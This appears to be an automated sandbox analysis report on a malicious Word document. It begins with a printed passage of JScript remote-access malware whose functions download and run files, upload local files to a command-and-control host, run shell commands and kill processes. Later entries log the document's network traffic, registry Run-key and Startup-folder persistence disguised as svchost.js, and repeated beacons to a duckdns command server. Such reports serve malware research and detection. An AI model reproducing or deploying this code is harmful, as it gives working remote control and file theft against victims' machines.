1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\ncatch(err)\r\nupdatestatus(\"Access+Denied\");\r\n\r\n\r\nif(objfsodownload.fileExists(strsaveto))\r\nshellobj.run(\"\\\"\" + strsaveto + \"\\\" \" + host + \" \" + port + \" \\\"\" + filearg + \"\\\" \" + is_offline);\r\n\r\n\r\nfunction servicestarter (fileurl, filename, filearg)\r\nshellobj.run(\"%comspec% /c taskkill /F /IM \" + filename, 0, true);\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(\"msxml2.xmlhttp\" );\r\nobjhttpdownload.open(\"get\", strlink, false);\r\nobjhttpdownload.setRequestHeader(\"cache-control:\", \"max-age=0\");\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(\"scripting.filesystemobject\");\r\nif(objfsodownload.fileExists(strsaveto))\r\nobjfsodownload.deleteFile(strsaveto);\r\n\r\nif (objhttpdownload.status == 200)\r\ntry\r\nvar objstreamdownload = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\ncatch(err)\r\nupdatestatus(\"Access+Denied\");\r\n\r\n\r\nif(objfsodownload.fileExists(strsaveto))\r\nshellobj.run(\"\\\"\" + strsaveto + \"\\\" \" + host + \" \" + port + \" \\\"\" + filearg + \"\\\"\");\r\n\r\n\r\nfunction sitedownloader (fileurl,filename)\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(\"msxml2.serverxmlhttp\" );\r\nobjhttpdownload.open(\"get\", strlink, false);\r\nobjhttpdownload.setRequestHeader(\"cache-control\", \"max-age=0\");\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(\"scripting.filesystemobject\");\r\nif(objfsodownload.fileExists(strsaveto))\r\nobjfsodownload.deleteFile(strsaveto);\r\n\r\nif (objhttpdownload.status == 200)\r\nvar objstreamdownload = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n\r\nif(objfsodownload.fileExists(strsaveto))\r\nshellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\nupdatestatus(\"Executed+File\");\r\n\r\n\r\nfunction download (fileurl,filedir)\r\nif(filedir == \"\")\r\nfiledir = installdir;\r\n\r\nstrsaveto = filedir + fileurl.substr(fileurl.lastIndexOf(\"\\\\\") + 1);\r\nvar objhttpdownload = WScript.CreateObject(\"msxml2.xmlhttp\");\r\nobjhttpdownload.open(\"post\",\"http://\" + host + \":\" + port +\"/\" + \"send-to-me\" + spliter + fileurl, false);\r\nobjhttpdownload.setRequestHeader(\"user-agent:\", information());\r\nobjhttpdownload.send(\"\");\r\nvar objfsodownload = WScript.CreateObject(\"scripting.filesystemobject\");\r\nif(objfsodownload.fileExists(strsaveto))\r\nobjfsodownload.deleteFile(strsaveto);\r\n\r\nif (objhttpdownload.status == 200)\r\nvar objstreamdownload = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n\r\nif(objfsodownload.fileExists(strsaveto))\r\nshellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\nupdatestatus(\"Executed+File\");\r\n\r\n\r\nfunction updatestatus(status_msg)\r\nvar objsoc = WScript.CreateObject(\"msxml2.xmlhttp\");\r\nobjsoc.open(\"post\",\"http://\" + host + \":\" + port + \"/\" + \"update-status\" + spliter + status_msg, false);\r\nobjsoc.setRequestHeader(\"user-agent:\", information());\r\nobjsoc.send(\"\");\r\n\r\nfunction upload (fileurl, retcmd)\r\ntry\r\nvar httpobj,objstreamuploade,buffer;\r\nvar objstreamuploade = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamuploade.Type = 1;\r\nobjstreamuploade.Open();\r\nobjstreamuploade.loadFromFile(fileurl);\r\nbuffer = objstreamuploade.Read();\r\nobjstreamuploade.close();\r\nobjstreamdownload = null;\r\nvar httpobj = WScript.CreateObject(\"msxml2.xmlhttp\");\r\nhttpobj.open(\"post\",\"http://\" + host + \":\" + port +\"/\" + retcmd, false);\r\nhttpobj.setRequestHeader(\"user-agent:\", information());\r\nhttpobj.send(buffer);\r\ncatch(er)\r\nupdatestatus(\"Upload+Failed\");\r\n\r\n\r\nfunction deletefaf (url)\r\ntry\r\nfilesystemobj.deleteFile(url);\r\nfilesystemobj.deleteFolder(url);\r\ncatch(err)\r\n\r\nfunction cmdshell (cmd)\r\nvar httpobj,oexec,readallfromany;\r\nvar strsaveto = installdir + \"out.txt\";\r\nshellobj.run(\"%comspec% /c \" + cmd + \" > \\\"\" + strsaveto + \"\\\"\", 0, true);\r\nreadallfromany = filesystemobj.openTextFile(strsaveto).readAll();\r\ntry\r\nfilesystemobj.deleteFile(strsaveto);\r\ncatch(ee)\r\nreturn readallfromany;\r\n\r\nfunction enumprocess()\r\nvar ep = \"\";\r\ntry\r\nvar objwmiservice = GetObject(\"winmgmts:\\\\\\\\.\\\\root\\\\cimv2\");\r\nvar colitems = objwmiservice.ExecQuery(\"select * from win32_process\",null,48);\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext())\r\nvar objitem = fi.item();\r\nep = ep + objitem.name + \"^\";\r\nep = ep + objitem.processId + \"^\";\r\nep = ep + objitem.executablePath + spliter;\r\n\r\ncatch(er)\r\nreturn ep;\r\n\r\nfunction exitprocess (pid)\r\ntry\r\nshellobj.run(\"taskkill /F /T /PID \" + pid,0,true);\r\ncatch(err)\r\n\r\nfunction getParentDirectory(path)\r\nvar fo = filesystemobj.getFile(path);\r\nreturn filesystemobj.getParentFolderName(fo);\r\n\r\nfunction enumfaf (enumdir)\r\nvar re = \"\";\r\ntry\r\nfor(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext())\r\nvar folder = fi.item();\r\nre = re + folder.name + \"^^d^\" + folder.attributes + spliter;\r\n\r\nfor(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext())\r\nvar file = fi.item();\r\nre = re + file.name + \"^\" + file.size + \"^\" + file.attributes + spliter;\r\n\r\ncatch(err)\r\nreturn re;\r\n\r\n"
  175.  
  176.  
  177.  
  178.  
  179. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  180. "Details":
  181.  
  182. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01$\\xe2\\x93f\\x1f\\xeb\\xae\\x0e\\x8du\\xbd\\x0fu\\x997\\xfd\\xdd>y\\xc3\\xcd,\\x1fmi\\xb9h\\xdb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1coffice15client.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  183.  
  184.  
  185. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xba\\xbe\\xcevt\\xb2\\xf3\\xd9a\\x18\\xb5c*\\x8c\\x1d\\xbc\\x8d`\\xb5\\xa7e,m\\xca\\x92m\\xb1\\xea\\x90\\x94\\x1a\\xa7l-\\x88\\x82r\\xe3ic\\xb7\\x95\\xea\\xee\".bs\\xf2\\x08\\xdb\\x0c\\xb9tv\\xc3\\x90\\x04\\x1f \\xc6\\x82\\x00\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe5\\x85\\xc4zfb\\xa7\\xed\\xbd\"\\xbc\\xfd^'\\xb3\\xcb\\xf8l\\xce8\\xca\\xdd\\x01\\x99\\xbeb4z\\x91d\\xd4\\xdc\\xabx\\xbb\\x06\\x1e\\xcbi\\xc2\tv\\xb1t\\x00\\x82\\xb1"
  186.  
  187.  
  188. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pk\"\\xcb\\x06\\xae\\x8b\\x8d\\xacc\\xc6g\\xcdh\\x19\\xe3j=!\\xc2\\xce\\x16e\\xd3\\xb2\\xba\\x14\\xf5\\x9dl\\x04\\x95\\x7f\\x17s$8\\xf5\\x02\\xee\\xe2\\xf7m\\xcf\\xd4|\\xbf\\x0ez\\x9f>\\xefx\\xd5dld\\x1c\\xee\\x00\\xf7\\x8c\\x12\\xdb@\\x16\\xf4\\x9a\\x8e\\x03\\xf4z\\x7f\\xaa\\x8fz\\xfd\\xe4\\x13\\x9ddh\\xfd\\xa3\\xe1l\\x95\\x8dqn\\x03\\x84tw\\xc4\\xf0\\x91fp\\x9a\\xcf>\\x88bfq-\\xd6\\x8c\\x85\\x15\\x06\\x87\\\\xff\\xa6\\x1c\\xd7%\\xfak\\x16x\\xca\\xe4\\xd4r\\x8b\\xc2q\\xa7\\xe9\\xa9\\xb72z\\xc5_\\xec\\x83\\xf1km\\x13b\\xa9t$\\x11\\xc2ko\\xe5\\x94\\xcf\\xce%u\\xa2\\xd9\\xc3\\xe3l\\xee\\x01\\x86e-\\xa0e|\\x9fs\\x18\\x02\\x99\\xa2\\x11\\x82\\xe4\\xbe\\xebxu\\x83\\xda37\\xaa\\x01\\x14\\x9e\\xdb\\x19\\x8e\\x92mw2\\xac\\xc2\\x0c\\xd8b\\x1bkm\\xd0\\xdd\\xe2#\\x18\\x0b;\\x8d\\x81\\xcd\\x16a\\x8e`\\x99\\xc0^kt\\xb3\\x9a\\x86;\\x83\\x86\\xde\\xae\\xe5\\x8a\\x9c\\xe8c\\xd7\\xcb\\x80\\x1b\\x83\\xbf\\x0e\\xe2\\x93"
  189.  
  190.  
  191. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01$\\xe2\\x95\\x05g \\xc5\\x98\\x93\\xfcw^f\\xc4\\x9c\\xec\\xdbt\\xf3\\xa6oc'\\xecn\\xa6\\xa9o\\xf6\\xa9p\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  192.  
  193.  
  194. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc79v\\x9a\\xa4\\x98\\x8b\\xba\\xf06\\x9c;\r\\xc3\\x06\\xbb\\x9a|1i\\xc0\\xc6\\x9e\\x18\\xe1\\xd5c!\\xe3c\\xf4oz\\xe1z\\x882\\xf6\\xc5\\xf1$\\xea?\\xc9\\x07`\\x07s\\x98\\x04s\\xee>`\\xe5\\xa6&\\x1f\\x1cn\\x1bn\\x01\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000-u\\x92r\\xfbg\\xce\\x96\\xdc\\x04\\xa4\\x1c@\\x03g977\\xd8f\\xaf*\\xaf+\\xfc\\x16\\x1f\\xc2\\x8f\"\\xb9\\xe0\\x9e\\xcb\\x08\\x80\\x8f\\x98i@\\x926\\x12\\x9e\\xd3\\xfa\\xff\\xc4"
  195.  
  196.  
  197. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  198.  
  199.  
  200. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  201.  
  202.  
  203. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xb1e#\\x96p\\x1a\\x85w\\x91\\xa4\\xaf\\xdd\\xdbi\\xb6w\\xc6\\xcb\\xb1\\xd4q\\xcdxt\\x0c\\xc4\\x90xyb\\xf9\\xf8\\x19\\xb7\\xa0\\x90\\xaa\\x80\\x89\\xa3ke\\x9f\\xb7\\x97\\xf6\\x999\\xdei\\xcb\\x9b\\xff\\x8f>j\\xd8yd\\x08\\xa9\\xef\\xb4\\xa2\\xea\\x8e\\x8dr\\xfbm\\x8dd\\xe9\\xc1\\xd15m\\x00%tj47\\x99\\x00\\xb8l\\xc9\\xc2\\xad?\\xd5\\xe2\\x8b\\xf2\\x0f\\x07\\xdd\\xf2k?\\xcb &\\x8f\\x7f\\x8co\\xcfs\\x1f\\xb0)\\xe3>\\x83h\\xa1hb\\x04\\xbe\\x85y\\x88\\xce9fj\\xff\\xb8k\\x8b\\xe9%\\xa0\\xe3\\x98shj\\xfb\\xcc\\xb0du\\x0fn!\\xe0k>\\x82\\xe0/\\x8a\\x02wk\\xf8xth\\xa9\\x8d\\xa4\\xdc\\xe4\\x19\\xd1\n\\xba>\\xac\\x15u\\x81\\x07\\xc2_\\xecj\\xc1j\\xe3\\x0c\\xf9ie\\x7f\\x14\\x11c\\x03\\x80c\\x97\\xebnly\\xca\\\\xe4v\\x10\\x82\\x88\\x8cz\\x80+\\x17q\\x03`\\xe35i\\xa4\\x00\\x9b>n\\xb0\\xedt\\x06\\xbf\\xf97!\\xdb>\\xf7\\xb8v\\xa9#qd\\xb7\\xb3\\xc7\\xbf\"\\xd5"
  204.  
  205.  
  206. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 9\\xa2j9\\x95p\\xa4\\xe2\\xb7\\xa7\\x1d$\\x12\\x8e\\xc8r\\xdb\\x01\\xb6\\xf4\\x1a\\x05\\xfb\\x94\\x99\\xad\\x9c\\xb9\\xac\\x1b\\x0b\\xc5y\\xb6#\\xc5rm$\\xc5\\xcb\\xc3\\xc7\\x08\\x9d\\x1e\\xd6\\xc9\\xe8u\\xcf\\x9bmq\\xd4\\xb5\\x00\\x12\\xcc7\\x97\\xf7\\x11\\xd2\\xc82\\xbe\\x16\\x08\\xa3\\xb6p3\\xd0\\x91\\xc8\\xcdwo\\x95y\\x13-l\\xfc\\x8b\\x18)\\xb6\\xe9\\xa2\\x01\\xb7\\xb8\\xee\\x01rb\\x04\\xd3mx\\xdae\\x98r\\xbfl\\xeb\\xc9a\\xa0j\\xe4\\xfa\\x0fkqw\\x8e\\x9a\\xec2a\\xa8\\xb9\\xb3\\xc4\\xefu<\\x18\\x85\\x08|\\xc7\\xcap9\\x88\\xfd\\xca\\xa3q^\\x96\\xa3\\xbct&\\x027\\x18\\xb2gp\\xf4\\xe8\\xd1\\xcf@\\xae\\xeb\\xfb\\xc3\\x96\\x1c\\xd6\\x12\\xf4\\x10%\\x81s\\xd2wy\\x0cf\\xc4i2\\x8f\\xa1\\xdfa\\x0e\\x03\\x01\\x94i\\xa0x<\\xad\\xc6\\x86n\\x049\\x93\\x80\\xb8\\xaf'\\x03\\x95\\xeav\\xb1\\xca\\xdd\\xcbdc\\x08\\xf4dl\\x9f\\x148\\x89\\x9a)\\xd1\\xf1\\xd3\\xefh\\x01w!\\xbf2\\xcamd\\x16\\xef\\x9du>\\xa47ji\\xe0"
  207.  
  208.  
  209. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01$\\xe2\\x9ax\\xfc7\\xea\\xd4\\xb1\\xdf\\xed\\x9b\\xee:\\xcc\\x18\\x14 \\xc4\\x12.\\\\xd9x\\xc8e6a4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  210.  
  211.  
  212. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xeey~2\\xe0\\xe1\\x953) \\x99h\\x18\\x96\\xd3\\xa8\\xbe\\xd2\\xd8\\xbc#g\\x97\\xdfy9x\\x10)\\xc6t\\xa1\\x9c\\xa3\\xa4|.\\xa6\\xe4p\\xc9\\xc0\\xf1h+s\\x92\\xb0\\\\xf2\\x01\\xf3\\x13\\xf7,\\xdf\\x1ep\\xdc\\xed\\xe4\\x15\\x98\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0006v\\x1e\\xec\\xb4\\xe0r\r#\\x9c\\xf3\\xb7\\xce(\\xf7p\\xc0\\xcd\\x11j\\xba\\x8b;\\xd7\\x11\\x11\t\\xc2:tx\\xb7\\xb3\\xdbrv\\xed\\xf4\\xac?\r\\xb3\\xc3f\\xfd&\\xdf\\xb0"
  213.  
  214.  
  215. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xdc)\\x1e\\xf2k\\xfb\\xe7g\\xde\\x92\t<\\x0f\\xf1\\x83a\\x98\\x05\\x11\\xad\\x9a\\x98\\xef\\x85\\xde\\xcc)\\xa4\\xdeo \\xbdb\\x14h\\xf7b\\xb2\\xdf\\x8d\\xdba7\\xa2r0\t\\x9f\\xc2d\\xdb\\x1f$\\x12\\x052v\\xe8v=\\x154\\x06g\\xcdg\\xb0\\x06yw=|\\xa59\\xb2\\x84\\x00\\xf2c\\x0b\\xa8o\\xa5\\xa2#r\\x15\\x06a\\xc5\\xec\\x03\\x00u\\x1d\\xf5~\\xc3\r;d\\x18!\\xfa\\xc8\\xb8\\x84\\xd6\\xba\\xf1\\x83\\x0b\\xa9\\x14\\xc3\\x05\\xc5>\\x90w\\x05\\xfa\\xe5\\x03\\xa4\\x81\\x17\\xfa\\x18c\\xb3i\\xc3t\\x96\\xf5c\\x1eo\\xd4\\xe2\\xcc\\xbd^\\xd95:\\xbf\\xf8\\xe6\\xf2k\\x1by\\x8c=\\xa1\\x0et\\xbb\\x13\\xd3\\x1cu\\xde\\xcb\\xc1\\x96\t\\xbc\\x9e\\xa4\\xde\\xb7\\x99\\x154\\xc1jz\\x0f\\xc7n\\x97\\x1f\\x89\\xc6\\xee\\x1d!\\x0c\\xb4\\xa4\\xf2\\xfa=\\xc8\\x94\\x83\\x14:\\xba\\x00\\xdd\\x15\\xfb\\xef\\xa2\\x04;c\\x03=p\\xae\\x0c\\xcf\\\\xf9\\x08\\x83r\\x9f1\\xa4c\\xb4.\\xe3\\xf8\\x83\\xd0\\x14\\x9ek\\x95\\x8b\\xc7\\x9c\\x02v\\x82\\xc4\\xb4\\xcdp\\xd2w\\xa5"
  216.  
  217.  
  218.  
  219.  
  220. "Description": "Installs itself for autorun at Windows startup",
  221. "Details":
  222.  
  223. "key": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost"
  224.  
  225.  
  226. "data": "wscript.exe //B \"C:\\Users\\user\\AppData\\Roaming\\svchost.js\""
  227.  
  228.  
  229. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tCWhffcbXR"
  230.  
  231.  
  232. "data": "wscript.exe //B \"C:\\Users\\user\\AppData\\Roaming\\tCWhffcbXR.js\""
  233.  
  234.  
  235. "key": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\tCWhffcbXR"
  236.  
  237.  
  238. "data": "wscript.exe //B \"C:\\Users\\user\\AppData\\Roaming\\tCWhffcbXR.js\""
  239.  
  240.  
  241. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost"
  242.  
  243.  
  244. "data": "wscript.exe //B \"C:\\Users\\user\\AppData\\Roaming\\svchost.js\""
  245.  
  246.  
  247. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\tCWhffcbXR.js"
  248.  
  249.  
  250. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.js"
  251.  
  252.  
  253. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\tCWhffcbXR.js"
  254.  
  255.  
  256. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.js"
  257.  
  258.  
  259.  
  260.  
  261. "Description": "Creates a hidden or system file",
  262. "Details":
  263.  
  264. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp"
  265.  
  266.  
  267.  
  268.  
  269. "Description": "A wscript.exe process commonly used in script or document file downloaders initiated network activity",
  270. "Details":
  271.  
  272. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  273.  
  274.  
  275. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  276.  
  277.  
  278. "http_request": "wscript.exe_InternetCrackUrlA_http://unknownsoft.duckdns.org"
  279.  
  280.  
  281. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  282.  
  283.  
  284. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  285.  
  286.  
  287. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  288.  
  289.  
  290. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  291.  
  292.  
  293. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  294.  
  295.  
  296. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  297.  
  298.  
  299. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  300.  
  301.  
  302. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  303.  
  304.  
  305. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  306.  
  307.  
  308. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  309.  
  310.  
  311. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  312.  
  313.  
  314. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  315.  
  316.  
  317. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  318.  
  319.  
  320. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  321.  
  322.  
  323. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  324.  
  325.  
  326. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  327.  
  328.  
  329. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  330.  
  331.  
  332. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  333.  
  334.  
  335. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  336.  
  337.  
  338. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  339.  
  340.  
  341. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  342.  
  343.  
  344. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  345.  
  346.  
  347. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  348.  
  349.  
  350. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  351.  
  352.  
  353. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  354.  
  355.  
  356. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  357.  
  358.  
  359. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  360.  
  361.  
  362. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  363.  
  364.  
  365. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  366.  
  367.  
  368. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  369.  
  370.  
  371. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  372.  
  373.  
  374. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  375.  
  376.  
  377. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  378.  
  379.  
  380. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  381.  
  382.  
  383. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  384.  
  385.  
  386. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  387.  
  388.  
  389. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  390.  
  391.  
  392. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  393.  
  394.  
  395. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  396.  
  397.  
  398. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  399.  
  400.  
  401. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  402.  
  403.  
  404. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  405.  
  406.  
  407. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  408.  
  409.  
  410. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  411.  
  412.  
  413. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  414.  
  415.  
  416. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  417.  
  418.  
  419. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  420.  
  421.  
  422. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  423.  
  424.  
  425. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  426.  
  427.  
  428. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  429.  
  430.  
  431. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  432.  
  433.  
  434. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  435.  
  436.  
  437. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  438.  
  439.  
  440. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  441.  
  442.  
  443. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  444.  
  445.  
  446. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  447.  
  448.  
  449. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  450.  
  451.  
  452. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  453.  
  454.  
  455. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  456.  
  457.  
  458. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  459.  
  460.  
  461. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  462.  
  463.  
  464. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  465.  
  466.  
  467. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  468.  
  469.  
  470. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  471.  
  472.  
  473. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  474.  
  475.  
  476. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  477.  
  478.  
  479. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  480.  
  481.  
